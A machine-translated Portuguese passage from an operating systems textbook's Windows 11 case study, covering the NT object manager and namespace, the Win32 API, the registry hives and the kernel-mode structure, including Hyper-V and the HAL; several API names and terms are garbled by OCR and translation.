NtDuplicateObject(srcProcHandle, srcObjHandle, dstProcHandle, dstObjHandle, ...) 


Figura 11-7. Exemplos de chamadas de API nativas do NT que usam identificadores para 
manipular objetos através dos limites do processo. 


Os objetos do modo kernel não são, obviamente, exclusivos do Windows. Os sistemas UNIX 
também suportam uma variedade de objetos no modo kernel, como arquivos, soquetes de rede, 
pipes, dispositivos, processos e recursos de comunicação entre processos (IPC), incluindo memória 
compartilhada, portas de mensagens, semáforos e dispositivos de E/S. No UNIX, há diversas 
maneiras de nomear e acessar objetos, como descritores de arquivos, IDs de processos e IDs inteiros 
para objetos SystemV IPC e i-nodes para dispositivos. A implementação de cada classe de objetos 
UNIX é específica da classe. Arquivos e soquetes usam recursos diferentes dos mecanismos, 
processos ou dispositivos SystemV IPC. 

Os objetos kernel no Windows usam um recurso uniforme baseado em identificadores e nomes 
no namespace do NT para fazer referência a objetos kernel, juntamente com uma implementação 
unificada em um gerenciador de objetos centralizado. Os identificadores são por processo, mas, 
conforme descrito acima, podem ser duplicados em outro processo. O gerenciador de objetos permite 
que os objetos recebam nomes quando são criados e, em seguida, sejam abertos por nome para 
obter identificadores para os objetos. 

O gerenciador de objetos usa Unicode (caracteres largos) para representar nomes no 
namespace NT. Ao contrário do UNIX, o NT geralmente não distingue entre maiúsculas e minúsculas 
(preserva maiúsculas de minúsculas, mas não faz distinção entre maiúsculas e minúsculas). O 
namespace NT é uma coleção hierárquica estruturada em árvore de diretórios, links simbólicos e objetos. 

O gerenciador de objetos também fornece recursos para sincronização, segurança e 
gerenciamento da vida útil do objeto. A disponibilização das facilidades gerais fornecidas pelo 
gerenciador de objetos aos usuários de qualquer objeto específico depende dos componentes 
executivos, pois eles fornecem as APIs nativas que manipulam cada tipo de objeto. 

Não são apenas os aplicativos que utilizam objetos gerenciados pelo gerenciador de objetos. O 
próprio sistema operacional também pode criar e usar objetos — e faz isso intensamente. A maioria 
desses objetos é criada para permitir que um componente do sistema armazene algumas informações 
por um período substancial de tempo ou passe alguma estrutura de dados para outro componente e 
ainda se beneficie da nomenclatura e do suporte vitalício do gerenciador de objetos. Por exemplo, 
quando um dispositivo é descoberto, um ou mais objetos de dispositivo são criados para representar 
o dispositivo e descrever logicamente como o dispositivo está conectado ao resto do sistema. Para 
controlar o dispositivo, um driver de dispositivo é carregado, 
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e um objeto driver é criado contendo suas propriedades e fornecendo ponteiros para o 

funções que ele implementa para processar as solicitações de E/S. Dentro do sistema operacional, o driver é então 
referenciado usando seu objeto. O driver também pode ser acessado diretamente pelo nome, em vez de 
indiretamente através dos dispositivos que ele controla (por exemplo, para 

definir parâmetros que regem sua operação no modo de usuário). 

Ao contrário do UNIX, que coloca a raiz do seu namespace no sistema de arquivos, o 
A raiz do namespace NT é mantida na memória virtual do kernel. Isso significa 
que o NT deve recriar seu namespace de nível superior sempre que o sistema for inicializado. Usando 
a memória virtual do kernel permite que o NT armazene informações no namespace sem 
primeiro tendo que iniciar o sistema de arquivos em execução. Também torna muito mais fácil para o NT 
adicione novos tipos de objetos de modo kernel ao sistema porque os formatos do arquivo 
os próprios sistemas não precisam ser modificados para cada novo tipo de objeto. 

Um objeto nomeado pode ser marcado como permanente, o que significa que continua a existir 
até ser explicitamente excluído ou o sistema reinicializar, mesmo que nenhum processo tenha atualmente um 
identificador para o objeto. Esses objetos podem até mesmo estender o namespace do NT, fornecendo rotinas de 
análise que permitem que os objetos funcionem como pontos de montagem em 
UNIX. Os sistemas de arquivos e o registro usam esse recurso para montar volumes e hives 
(partes do registro) no namespace do NT. Acessando o objeto de dispositivo para um 
volume dá acesso ao volume bruto, mas o objeto de dispositivo também representa um 
montagem implícita do volume no namespace NT. Os arquivos individuais em um volume podem ser acessados 
concatenando o nome do arquivo relativo ao volume no final 
do nome do objeto de dispositivo para esse volume. 

Nomes permanentes também são usados para representar objetos de sincronização e arquivos compartilhados. 
memória, para que possam ser compartilhadas por processos sem serem continuamente recriadas à medida que os 
processos param e iniciam. Objetos de dispositivo e frequentemente objetos de driver são fornecidos 
nomes permanentes, dando-lhes algumas das propriedades de persistência dos nós i especiais mantidos no 
diretório /dev do UNIX. 

Descreveremos muitos outros recursos da API nativa do NT na próxima 
seção, onde discutimos as APIs Win32 que fornecem wrappers em torno do NT 


chamadas do sistema. 


11.2.4 A interface de programação de aplicativos Win32 


As chamadas de função Win32 são chamadas coletivamente de API Win32. Estas interfaces são divulgadas 
publicamente e totalmente documentadas. Eles são implementados como 
procedimentos de biblioteca que agrupam as chamadas do sistema nativo do NT usadas para obter o trabalho 
feito ou, em alguns casos, faça o trabalho diretamente no modo de usuário. Embora o NT nativo 
APIs não são publicadas, a maioria das funcionalidades que elas fornecem são acessíveis através de 
a API Win32. As chamadas de API Win32 existentes não mudam com novas versões do 
Windows para manter a compatibilidade dos aplicativos, embora muitas funções novas sejam 
adicionado à API. 
A Figura 11-8 mostra várias chamadas de API Win32 de baixo nível e a API nativa do NT 


chamadas que eles embrulham. O que é interessante sobre a figura é o quão desinteressante é a 


Machine Translated by Google 


888 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


mapeamento é. A maioria das funções Win32 de baixo nível possui equivalentes nativos do NT, o que é 
não é surpreendente, pois o Win32 foi projetado com o NT em mente. Em muitos casos, o Win32 

camada deve manipular os parâmetros do Win32 para mapeá-los no NT, por exemplo, 

canonizando nomes de caminhos e mapeando para os nomes de caminhos NT apropriados, 

incluindo nomes especiais de dispositivos MS-DOS (como LPT :). As APIs Win32 para criação de processos 
e threads também devem notificar o processo do subsistema Win32, csrss.exe, 

que existem novos processos e threads para supervisionar, como descreveremos em 

Seg. 11.4. Vale a pena notar que, embora a API Win32 seja construída na API NT, não 

toda a API do NT é exposta por meio do Win32. 


Chamada Win32 Chamada de API NT nativa 
CriarProcesso NtCreateProcess 
CriarThread NtCreateThread 
SuspenderThread NiSuspendThread 
CreateSemaphore NtCreafeSemaphore 
Ler arquivo NtReadFile 
Excluir arquivo NiSetlnformationFile 


CreateFileMapping NtCregteSection 


VirtualAlloc NtAllocateVirtualMemory 
MapViewOfFile NtMapViewOfSection 
DuplicadoHandle NtDuplicateObject 
FecharHandle NtFechar 


Figura 11-8. Exemplos de chamadas de API Win32 e chamadas de API nativas do NT que eles 


enrolar. 


Algumas chamadas Win32 usam nomes de caminho, enquanto as chamadas NT equivalentes usam 
arquivos manuais. Portanto, as rotinas do wrapper precisam abrir os arquivos, chamar o NT e depois fechar o 
manusear no final. Os wrappers também traduzem as APIs Win32 do código ANSI para Uni. As funções 
Win32 mostradas na Figura 11-8 que usam strings como parâmetros são 
na verdade, duas APIs, por exemplo, CreateProcessW e CreateProcessa. O 
strings passadas para a última API devem ser traduzidas para Unicode antes de chamar o 
API subjacente do NT, já que o NT funciona apenas com Unicode. 

Como poucas alterações são feitas nas interfaces Win32 existentes em cada versão do 
Windows, em teoria, os programas binários que rodaram corretamente em qualquer versão anterior 
continuará a funcionar corretamente em uma nova versão. Na prática, muitas vezes há muitos 
problemas de compatibilidade com novos lançamentos. O Windows é tão complexo que alguns 
mudanças aparentemente inconsequentes podem causar falhas no aplicativo. E muitas vezes os próprios 
aplicativos são os culpados, já que frequentemente fazem verificações explícitas de 
versões específicas do sistema operacional ou são vítimas de seus próprios bugs latentes que são 
expostos quando executados em uma nova versão. No entanto, a Microsoft faz um esforço 
em cada versão para testar uma ampla variedade de aplicativos para encontrar incompatibilidades e 
corrija-os ou forneça soluções alternativas específicas para o aplicativo. 
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O Windows oferece suporte a dois ambientes de execução especiais, ambos chamados WOW 
(Windows no Windows). WoW32 é usado em sistemas x86 de 32 bits para rodar 16 bits 
Aplicativos do Windows 3.x mapeando as chamadas do sistema e os parâmetros entre os 
Mundos de 16 e 32 bits. A última versão do Windows a incluir o WoW32 
O ambiente de execução era o Windows 10. Como o Windows 11 requer um processador de 64 bits e esses 
processadores não podem executar código de 16 bits, o WoW32 não é mais compatível. 
WoW64, que permite que aplicativos de 32 bits sejam executados em sistemas de 64 bits, continua a ser 
compatível com Windows 11. Na verdade, a partir do Windows 10, o WoW64 é aprimorado 
para permitir a execução de aplicativos x86 de 32 bits em hardware arm64 por meio de emulação de instruções. 


O Windows 11 amplia ainda mais os recursos de emulação para executar aplicativos x64 de 64 bits no arm64. 
A Seção 11.4.4 descreve o WoW64 e a infraestrutura de emulação com mais detalhes. 


A filosofia da API do Windows é muito diferente da filosofia do UNIX. Em 
neste último, as funções do sistema operacional são simples, com poucos parâmetros e poucos 
locais onde existem várias maneiras de realizar a mesma operação. Win32 fornece interfaces muito abrangentes 
com muitos parâmetros, muitas vezes com três ou 
quatro maneiras de fazer a mesma coisa e misturar recursos de baixo e alto nível 
funções, como CreateFile e CopyFile. 

Isso significa que o Win32 fornece um conjunto muito rico de interfaces, mas também apresenta 
muita complexidade devido à má camada de um sistema que mistura funções de alto e baixo nível na mesma 
API. Para nosso estudo de sistemas operacionais, 
apenas as funções de baixo nível da API Win32 que envolvem a API nativa do NT são relevantes, portanto é 
nisso que nos concentraremos. 

Win32 possui chamadas para criar e gerenciar processos e threads. Lá 
também há muitas chamadas relacionadas à comunicação entre processos, como criar, 
destruindo e usando mutexes, semáforos, eventos, portas de comunicação e 
outros objetos IPC. 

Embora grande parte do sistema de gerenciamento de memória seja invisível para os programadores, 
uma característica importante é visível: a saber, a capacidade de um processo mapear 
um arquivo em uma região de sua memória virtual. Isso permite que threads sejam executados em um processo 
a capacidade de ler e escrever partes do arquivo usando ponteiros sem ter que executar explicitamente 
operações de leitura e gravação para transferir dados entre o disco e a memória. Com arquivos mapeados em 
memória, o próprio sistema de gerenciamento de memória executa 
as E/S conforme necessário (paginação por demanda). 

O Windows implementa arquivos mapeados na memória usando uma combinação de três 
instalações. Primeiro, fornece interfaces que permitem aos processos gerenciar seus próprios 
espaço de endereço virtual, incluindo a reserva de intervalos de endereços para uso posterior. Em segundo 
lugar, o Win32 suporta uma abstração chamada mapeamento de arquivo, que é usada para representar 
objetos endereçáveis como arquivos (um mapeamento de arquivo é chamado de seção na camada NT). 
que é um nome melhor porque os objetos de seção não precisam representar arquivos). Maioria 
frequentemente, os mapeamentos de arquivos são criados usando um identificador de arquivo para se referir à memória apoiada por 
arquivos, mas eles também podem ser criados para se referir à memória apoiada pelo arquivo de paginação do sistema 


usando um identificador de arquivo NULL. 
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O terceiro recurso mapeia visualizações de mapeamentos de arquivos no espaço de endereço de um processo. 
O Win32 permite que apenas uma visualização seja criada para o processo atual, mas o subjacente 
A facilidade do NT é mais geral, permitindo a criação de visualizações para qualquer processo para o qual 
você tem um identificador com as permissões apropriadas. Separando a criação de um 
o mapeamento de arquivos a partir da operação de mapeamento do arquivo no espaço de endereço é uma 
abordagem diferente da usada na função mmap no UNIX. 

No Windows, os mapeamentos de arquivos são objetos de modo kernel representados por um arquivo manual. 
Como a maioria dos identificadores, os mapeamentos de arquivos podem ser duplicados em outros processos. Cada 
desses processos pode mapear o mapeamento de arquivos em seu próprio espaço de endereço, conforme vê 
ajustar. Isto é útil para compartilhar memória entre processos sem ter que criar 
arquivos para compartilhamento. Na camada NT, os mapeamentos de arquivos (seções) também podem ser 
mantidos no namespace NT e acessados por nome. 

Uma área importante para muitos programas é a E/S de arquivos. Na visualização básica do Win32, um 
arquivo é apenas uma sequência linear de bytes. Win32 fornece mais de 70 chamadas para criação 
e destruindo arquivos e diretórios, abrindo e fechando arquivos, lendo e gravando 
eles, solicitando e configurando atributos de arquivo, bloqueando intervalos de bytes e muito mais 
operações fundamentais tanto na organização do sistema de arquivos quanto no acesso a 
arquivos individuais. 

Existem também vários recursos avançados para gerenciar dados em arquivos. Além do fluxo de dados 
primário, os arquivos armazenados no sistema de arquivos NTFS podem ter fluxos de dados adicionais. Arquivos (e 
até volumes inteiros) podem ser criptografados. Os arquivos podem ser 
compactado e/ou representado como um fluxo esparso de bytes onde regiões ausentes 
dos dados intermediários não ocupam armazenamento em disco. Os volumes do sistema de arquivos podem ser 
organizado a partir de múltiplas partições de disco separadas usando diferentes níveis de RAID 
armazenar. Modificações em arquivos ou subárvores de diretório podem ser detectadas por meio de um mecanismo 
de notificação ou pela leitura do diário que o NTFS mantém para cada volume. 
hum. 

Cada volume do sistema de arquivos é montado implicitamente no namespace do NT, de acordo com o nome 
dado ao volume, portanto um arquivo lfoo \bar pode ser nomeado, por exemplo, IDevicelHarddiskVolume Ilfoolbar. 
Interno para cada volume NTFS, monte 
pontos (chamados pontos de nova análise no Windows) e links simbólicos são suportados para ajudar 
organizar os volumes individuais. 

O modelo de E/S de baixo nível no Windows é fundamentalmente assíncrono. Uma vez 
A operação de E/S é iniciada, a chamada do sistema pode retornar e permitir que o thread que iniciou a E/S continue 
em paralelo com a operação de E/S. O Windows oferece suporte a cellation, bem como vários mecanismos 
diferentes para sincronização de threads 
com operações de E/S quando elas forem concluídas. O Windows também permite que programas especifiquem 
que a E/S deve ser síncrona quando um arquivo é aberto e muitas funções da biblioteca, 
como a biblioteca C e muitas chamadas Win32, especifique E/S síncrona para compatibilidade ou para simplificar o 
modelo de programação. Nestes casos, o executivo 
sincronizar explicitamente com a conclusão de E/S antes de retornar ao modo de usuário. 

Outra área para a qual o Win32 oferece cnamadas é a segurança. Cada thread está associada a um objeto de 
modo kernel, chamado token, que fornece informações sobre 
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a identidade e os privilégios associados ao thread. Todo objeto pode ter um 
ACL (Lista de Controle de Acesso) informando detalhadamente quais usuários podem 
acessá-lo e quais operações podem realizar nele. Esta abordagem prevê 
segurança refinada na qual usuários específicos podem ser permitidos ou negados 
acesso a todos os objetos. O modelo de segurança é extensível, permitindo que os aplicativos 
adicionar novas regras de segurança, como limitar os horários de acesso permitido. 

O namespace Win32 é diferente do namespace nativo do NT descrito em 
a seção anterior. Apenas partes do namespace NT são visíveis para APIs Win32 
(embora todo o namespace do NT possa ser acessado através de um hack Win32 que usa 
strings de prefixo especiais, como "11.'9. No Win32, os arquivos são acessados em relação às letras da 
unidade. O diretório NT |DosDevices contém um conjunto de links simbólicos de letras de unidade para 
os objetos reais do dispositivo. Por exemplo, IDosDevicesiC: pode ser um link para 
| Dispositivo | HarddiskVolume?. Este diretório também contém links para outros dispositivos Win32, 
como COM1:, LPT: e NUL: (para as portas serial e de impressora e o 
dispositivo nulo muito importante). |DosDevices é realmente um link simbólico para 17? que foi 
escolhido pela eficiência. Outro diretório do NT, IBaseNamedObjects, é usado para armazenar 
diversos objetos nomeados no modo kernel acessíveis por meio da API Win32. 
Estes incluem objetos de sincronização como semáforos, memória compartilhada, temporizadores, 
portas de comunicação e nomes de dispositivos. 

Além das interfaces de sistema de baixo nível que descrevemos, a API Win32 
também suporta muitas chamadas para operações GUI, incluindo todas as cnamadas para gerenciamento 
a interface gráfica do sistema. Existem chamadas para criar, destruir, gerenciar e usar janelas, menus, 
barras de ferramentas, barras de status, barras de rolagem, caixas de diálogo, 
ícones e muitos mais itens que aparecem na tela. Há chamadas para desenho 
figuras geométricas, preenchendo-as, gerenciando as paletas de cores que utilizam, tratando 
com fontes e colocação de ícones na tela. Em contraste, no Linux, nada disso está em 
o núcleo. Finalmente, há chamadas para lidar com teclado, mouse e outros 
dispositivos de entrada humana, bem como áudio, impressão e outros dispositivos de saída. 

As operações GUI funcionam diretamente com o driver winS2k.sys usando especial 
interfaces para acessar essas funções no modo kernel a partir de bibliotecas de modo de usuário. Desde 
essas chamadas não envolvem as chamadas do sistema principal no executivo do NTOS, não iremos 
diga mais sobre eles. 


11.2.5 O Registro do Windows 


A raiz do namespace do NT é mantida no kernel. Armazenamento, como 
volumes do sistema de arquivos, é anexado ao namespace do NT. Como o namespace do NT é 
construído novamente toda vez que o sistema é inicializado, como o sistema sabe sobre 
algum detalhe específico da configuração do sistema? A resposta é que o Windows conecta um tipo 
especial de sistema de arquivos (otimizado para arquivos pequenos) ao espaço de nomes do NT. Este 
sistema de arquivos é chamado de registro. O registro é organizado em volumes separados chamados 
hives. Cada hive é mantido em um arquivo separado (no diretório 
C:\Windows\system32\config\ do volume de inicialização). Quando um sistema Windows 


Machine Translated by Google 


892 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


inicializa, um hive cnamado SYSTEM é carregado na memória pelo programa de inicialização que 
carrega o kernel e outros arquivos de inicialização, como drivers de inicialização, do volume de inicialização. 
O Windows mantém muitas informações cruciais na seção SYSTEM, incluindo informações sobre quais 
drivers usar com quais dispositivos, qual software executar inicialmente e muitos parâmetros que governam a 
operação do sistema. Esta informação é usada até mesmo pelo próprio programa de inicialização para 
determinar quais drivers são 
drivers, sendo necessários imediatamente após a inicialização. Esses drivers incluem aqueles que 
entender o sistema de arquivos e os drivers de disco do volume que contém o sistema operacional 
próprio sistema. 
Outras seções de configuração são usadas após a inicialização do sistema para descrever informações 
sobre o software instalado no sistema, usuários específicos e as classes 
de objetos COM (Modelo de Objeto Componente) de modo de usuário que estão instalados no 
sistema. As informações de login dos usuários locais são mantidas no SAM (Security Access 
Gerente) hiv e. As informações para usuários da rede são mantidas pelo serviço Isass 
na seção de segurança e coordenada com os servidores de diretório da rede para que 
os usuários podem ter um nome de conta e senha comuns em toda a rede. A 


A lista dos hives usados no Windows é mostrada na Figura 11.9. 


Arquivo colmeia Nome montado Usar 
SISTEMA HKLMISISTEMA Informações de configuração do sistema operacional, usadas pelo kernel 
HARDWARE HKLMHARDWARE Hardware de gravação de hive na memória detectado 
BCD HKLMBCD* Banco de dados de configuração de inicialização 
SAM HKLMISAM Informações da conta de usuário local 
SEGURANÇA HKLM SEGURANÇA conta Isass e outras informações de segurança 
PADRÃO HKEY USERS DEFAULT Hive padfão para novos usuários 
NTUSER.DAT HKEY USUÁRIOS \<id do usuário> Hive específico do usuário, mantido no diretório inicial 
PROGRAMAS HKLMISOFTWARE Classes de aplicativos registradas pelo COM 
COMPONENTES HKLM \COMPONENTES Manifestos e dependências para sys. componentes 


Figura 11-9. O registro é interrompido no Windows. HKLM é uma abreviatura para 
MÁQUINA LOCAL HKEY. 


Antes da introdução do registro, as informações de configuração no Windows 
reúne esses arquivos em um armazenamento central, que fica disponível no início do processo de 
inicializando o sistema. Isso é importante para implementar o plug-and-play do Windows 
funcionalidade. Infelizmente, o registo tornou-se seriamente desorganizado 
ao longo do tempo, à medida que o Windows evoluiu. Existem convenções mal definidas sobre 
como as informações de configuração devem ser organizadas, e muitos aplicativos levam 
uma abordagem ad hoc, levando à interferência entre eles. Além disso, embora a maioria 
aplicativos não são, por padrão, executados com privilégios administrativos, eles podem escalar 
para obter privilégios totais e modificar os parâmetros do sistema diretamente no registro, potencialmente 
desestabilizando o sistema. Consertar o registro quebraria muitos softwares. 
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Este é um dos problemas do modelo de aplicação UWP e mais especificamente de sua 
A sandbox do AppContainer tem como objetivo resolver. Os aplicativos UWP não podem acessar ou 
modificar o registro. As regras são um pouco mais flexíveis para aplicativos empacotados MSIX: o acesso ao 
registro é permitido, mas seu namespace de registro é virtualizado 
de modo que as gravações em locais globais ou por usuário sejam redirecionadas para por usuário por aplicativo 
Localizações. Este mecanismo evita que tais aplicações desestabilizem potencialmente o sistema, modificando 
as configurações do sistema e eliminando o risco de interferência. 
entre vários aplicativos. 

O registro está acessível para aplicativos Win32. Há chamadas para criar e 
exclua chaves, procure valores dentro de chaves e muito mais. Alguns dos mais úteis 
estão listados na Figura 11-10. 


Função API Win32 Descrição 

RegCreateKeyEx Crie uma nova chave de registro 

RegDeleteKey Excluir uma chave de registro 

RegOpenkKeyEx Abra uma chave para controlá-la 

RegEnumkKeyEx Enumere as subchaves subordinadas à chave do identificador 
RegQuer yValueEx Procure nos dados um valor dentro de uma chave 
RegSetValueEx Modifica dados para um valor dentro de uma chave 

RegFlushKey Persistir quaisquer modificações na chave fornecida no disco 


Figura 11-10. Algumas das chamadas da API Win32 para usar o registro 


O registro é um cruzamento entre um sistema de arquivos e um banco de dados e, ainda assim, realmente 
ao contrário de ambos. É realmente um armazenamento de valores-chave com chaves hierárquicas. Livros inteiros têm 
foi escrito descrevendo o registro (Hipson, 2002; Halsey e Bettany, 2015; e 
Ngoie, 2021) e muitas empresas surgiram para vender software especial apenas para 
gerenciar a complexidade do registro. 

Para explorar o registro, o Windows possui um programa GUI chamado regedit que permite 
você pode abrir e explorar os diretórios (chamados de chaves) e itens de dados (chamados de valores). 

A linguagem de script Po werShell da Microsoft também pode ser útil para percorrer 

as chaves e valores do registro como se fossem diretórios e arquivos. Um mais 

Uma ferramenta interessante para usar é o procmon, que está disponível no site de ferramentas da Microsoft: 
https://www.microsoft.com/technet/ sysinternals. O Procmon monitora todos os acessos cadastrais que ocorrem 
no sistema e é muito esclarecedor. Alguns programas acessarão a mesma chave repetidamente dezenas de 
milhares de vezes. 

APIs de registro são algumas das APIs Win32 usadas com mais frequência no sistema. 

Eles precisam ser rápidos e confiáveis. Portanto, o registro implementa o cache do registro 

dados na memória para acesso rápido, mas também persiste os dados no disco para evitar perda também 
muitas alterações mesmo quando RegFlushkKey não é chamado. Como a integridade do registro é 

tão crítico para corrigir o funcionamento do sistema, o registro usa registro write-ahead semelhante aos sistemas 
de banco de dados para registrar modificações sequencialmente em arquivos de log antes 
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na verdade, modificando arquivos hive. Essa abordagem garante consistência com sobrecarga 
mínima e permite a recuperação de dados de registro em caso de falhas no sistema ou cortes de 
energia. 


11.3 ESTRUTURA DO SISTEMA 


Nas seções anteriores, examinamos o Windows visto pelo programador escrevendo código 
para o modo de usuário. Agora vamos dar uma olhada nos bastidores para ver como o sistema é 
organizado internamente, o que os vários componentes fazem e como eles interagem entre si e 
com os programas do usuário. Esta é a parte do sistema vista pelo programador que implementa 
código de modo de usuário de baixo nível, como subsistemas e serviços nativos, bem como a visão 
do sistema fornecida aos gravadores de drivers de dispositivos. 


Embora existam muitos livros sobre como usar o Windows, há poucos sobre como ele funciona 
internamente. Um dos melhores lugares para procurar informações adicionais sobre este tópico é 
Microsoft Windows Internals, 7º ed. Parte 1 (Yosifovich et al, 2017) e Microsoft Windows Internals, 
7? ed. Parte 2. (Allievi et al., 2021). 


11.3.1 Estrutura do Sistema Operacional 


Conforme descrito anteriormente, o sistema operacional Windows consiste em muitas camadas, 
conforme ilustrado na Figura 11.4. Nas seções a seguir, examinaremos os níveis mais baixos do 
sistema operacional: aqueles que são executados no modo kernel. A camada central é o próprio 
kernel NTOS, que é carregado de ntoskrnl.exe quando o Windows é inicializado. 

O próprio NTOS consiste em duas camadas, a executiva, que contém a maioria dos serviços, e 
uma camada menor que é (também) chamada de kernel e implementa o escalonamento de thread 
subjacente e as abstrações de sincronização (um kernel dentro do kernel?), bem como como 
implementar manipuladores de trap, interrupções e outros aspectos de como a CPU é gerenciada. 


A divisão do NTOS em kernel e executivo é um reflexo das raízes VAX/VMS do NT. O sistema 


operacional VMS, que também foi projetado por Cutler, tinha quatro camadas impostas por 
hardware: usuário, supervisor, executivo e kernel, correspondendo aos quatro modos de proteção 
fornecidos pela arquitetura do processador VAX. 
As CPUs Intel também suportam quatro anéis de proteção, mas alguns dos primeiros processadores 
alvo para NT não, então o kernel e as camadas executivas representam uma abstração imposta 
por software e as funções que o VMS fornece no modo supervisor, como spool de impressora , são 
fornecidos pelo NT como serviços de modo de usuário. 

As camadas de modo kernel do NT são mostradas na Figura 11.11. A camada kernel do NTOS 
é mostrada acima da camada executiva porque implementa os mecanismos de interceptação e 
interrupção usados para fazer a transição do modo de usuário para o modo kernel. 

A camada superior na Figura 11.11 é a biblioteca do sistema (ntdll.dil), que na verdade é 
executada em modo de usuário. A biblioteca do sistema inclui diversas funções de suporte 
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Usar modo | System library kernel user-mode dispatch routines (ntdll.dll) 


Kernel mode 
Trap/exception/interrupt dispatch 
CPU scheduling and synchronization: threads, ISRs, DPCs, APCs 


Drivers [Procs and threads Virtual memory | Object manager | Config manager 
File systems, 


volume manager, A : 
TCPAP stack, | LPC Cache manager VO manager | Security monitor 
pe ai Executive run-time library 


all other devices NTOS executive layer 


| Hardware abstraction layer 


Hardware | CPU, MMU, interrupt controllers, memory, physical devices, BIOS 


Figura 11-11. Organização do modo kernel do Windows. 


para o tempo de execução do compilador e bibliotecas de baixo nível, semelhante ao que está na libc no UNIX. 
ntdil.dlltambém contém pontos de entrada de código especiais usados pelo kernel para inicializar 
threads e exceções de despacho e chamadas de procedimento assíncronas no modo de usuário 
(descrito posteriormente). Como a biblioteca do sistema é tão essencial para a operação do 
kernel, todo processo de modo de usuário criado pelo NTOS tem ntdll mapeado no mesmo 
endereço (o endereço específico é aleatório em cada sessão de inicialização como uma segurança 
medir). Quando o NTOS está inicializando o sistema, ele cria um objeto de seção para usar 
ao mapear ntdll, e também registra endereços dos pontos de entrada ntdll usados por 
o núcleo. 
Abaixo do kernel do NTOS e das camadas executivas há uma camada de software chamada 
HAL (Hardware Abstraction Layer) que abstrai detalhes de hardware de baixo nível 
como acesso a registros de dispositivos e operações DMA, e a forma como a placa-mãe 
firmware representa informações de configuração e lida com diferenças no 
Chips de suporte de CPU, como vários controladores de interrupção. 
A camada de software mais baixa é o hipervisor , que é o núcleo da pilha de virtualização do Windows, 
chamada Hyper-V. É um hipervisor Tipo 1 (bare metal) que executa 
sobre o hardware e suporta a execução simultânea de vários sistemas operacionais. O hipervisor depende 
dos componentes da pilha de virtualização em execução no 
sistema operacional raiz para virtualizar sistemas operacionais convidados. O hipervisor era um 
recurso opcional em versões anteriores do Windows, mas o Windows 11 permite a virtualização por padrão 
para fornecer recursos de segurança críticos que iremos 
descreva nas seções subsequentes. O Hyper-V requer um processador de 64 bits com suporte para 
virtualização de hardware e isso se reflete nos requisitos mínimos de hardware do sistema operacional. 
Consequentemente, os computadores mais antigos não podem executar o Windows 11. 
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Os outros componentes principais do modo kernel são os drivers de dispositivo. janelas 
usa drivers de dispositivo para quaisquer recursos de modo kernel que não fazem parte do NTOS ou 
o HAL. Isso inclui sistemas de arquivos, pilhas de protocolos de rede e extensões de kernel, como antivírus 
e software DRM (Digital Rights Management), bem como 
drivers para gerenciamento de dispositivos físicos, interface com barramentos de hardware e assim por diante. 
Os componentes de E/S e memória virtual cooperam para carregar (e descarregar) dispositivos 
drivers na memória do kernel e vinculá-los às camadas NTOS e HAL. A E/S 
O gerenciador fornece interfaces que permitem que dispositivos sejam descobertos, organizados e 
operado - incluindo providenciar o carregamento do driver de dispositivo apropriado. Muito dos 
informações de configuração para gerenciamento de dispositivos e drivers são mantidas no 
Seção SYSTEM do registro. O subcomponente plug-and-play do gerenciador de E/S mantém informações 
sobre o hardware detectado no HARDWARE 
hive, que é um hive volátil mantido na memória e não no disco, como é 
completamente recriado toda vez que o sistema é inicializado. 


Examinaremos agora os vários componentes do sistema operacional um pouco 
Mais detalhes. 


O hipervisor 


O hipervisor Hyper-V é executado como a camada de software mais baixa abaixo do Windows. Sua 
função é virtualizar o hardware de modo que vários sistemas operacionais convidados possam ser 
executados simultaneamente, cada um em sua própria máquina virtual, que o Windows chama de 
uma partição. O hipervisor consegue isso aproveitando as extensões de virtualização suportadas pela 
CPU (VT-X na Intel, AMD-V na AMD e ARMv8-A 
em processadores ARM) para confinar cada convidado à sua memória, CPU e recursos de hardware 
atribuídos, isolados de outros convidados. Além disso, o hipervisor intercepta muitos dos 
as operações privilegiadas realizadas por sistemas operacionais convidados e as emula 
para manter a ilusão. Um sistema operacional rodando sobre o hipervisor 
executa threads e trata interrupções em abstrações dos processadores físicos 
chamados processadores virtuais. O hipervisor agenda os processadores virtuais em 
processadores físicos. 

Sendo um hipervisor Tipo 1, o hipervisor Windows é executado diretamente no hardware subjacente, 
mas usa seus componentes de pilha de virtualização na raiz operacional 
sistema para fornecer serviços de suporte de dispositivos aos seus convidados. Por exemplo, um emulado 
solicitação de leitura de disco iniciada por um sistema operacional convidado é tratada pelo virtual 
componente controlador de disco em execução no modo de usuário, executando a leitura solicitada 
operação usando APIs regulares do Win32. Embora o sistema operacional raiz deva ser 
Windows ao executar o Hyper-V, outros sistemas operacionais, como Linux, podem ser 
execute nas partições convidadas. Um sistema operacional convidado pode ter um desempenho muito ruim 
a menos que tenha sido modificado (ou seja, paravirtualizado) para funcionar com o hipervisor. 

Por exemplo, se um kernel de sistema operacional convidado estiver usando um spinlock para 
sincronizar entre dois processadores virtuais e o hipervisor reagendar o virtual 
processador segurando o spinlock, o tempo de espera do bloqueio pode aumentar em várias ordens 
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de magnitude, deixando outros processadores virtuais em execução na partição girando por longos períodos de 
tempo. Para resolver esse problema, um sistema operacional convidado é orientado a girar apenas um curto 
período de tempo antes de chamar o hipervisor para ceder seu processador físico para executar outro 
processador virtual. 

Embora a principal tarefa do hipervisor seja executar sistemas operacionais convidados, ele também ajuda 
a melhorar a segurança do Windows, expondo um ambiente de execução seguro chamado VSM (Virtual 
Secure Mode), no qual um micro-SO focado na segurança chamado SK (Secure Kernel) é executado. O 
Kernel Seguro fornece um conjunto de serviços de segurança para Windows, denominados coletivamente VBS 
(Segurança Baseada em Virtualização). 
Esses serviços ajudam a proteger o fluxo de código e a integridade dos componentes do sistema operacional 
e a manter a consistência das estruturas de dados confidenciais do sistema operacional, bem como dos registros 
do processador. Na seg. 11.10 discutiremos o funcionamento interno da pilha de virtualização Hyper-V e 


aprenderemos como funciona a segurança baseada em virtualização. 


A camada de abstração de hardware 


Um objetivo do Windows é tornar o sistema portátil entre plataformas de hardware. Idealmente, para criar 
um sistema operacional em um novo tipo de sistema de computador, deveria ser possível apenas recompilar o 
sistema operacional na nova plataforma. 
Infelizmente, não é tão simples. Embora muitos dos componentes em algumas camadas do sistema operacional 
possam ser amplamente portáveis (porque lidam principalmente com estruturas de dados internas e abstrações 
que suportam o modelo de programação), outras camadas devem lidar com registros de dispositivos, 
interrupções, DMA e outros recursos de hardware. que diferem significativamente de máquina para máquina. 


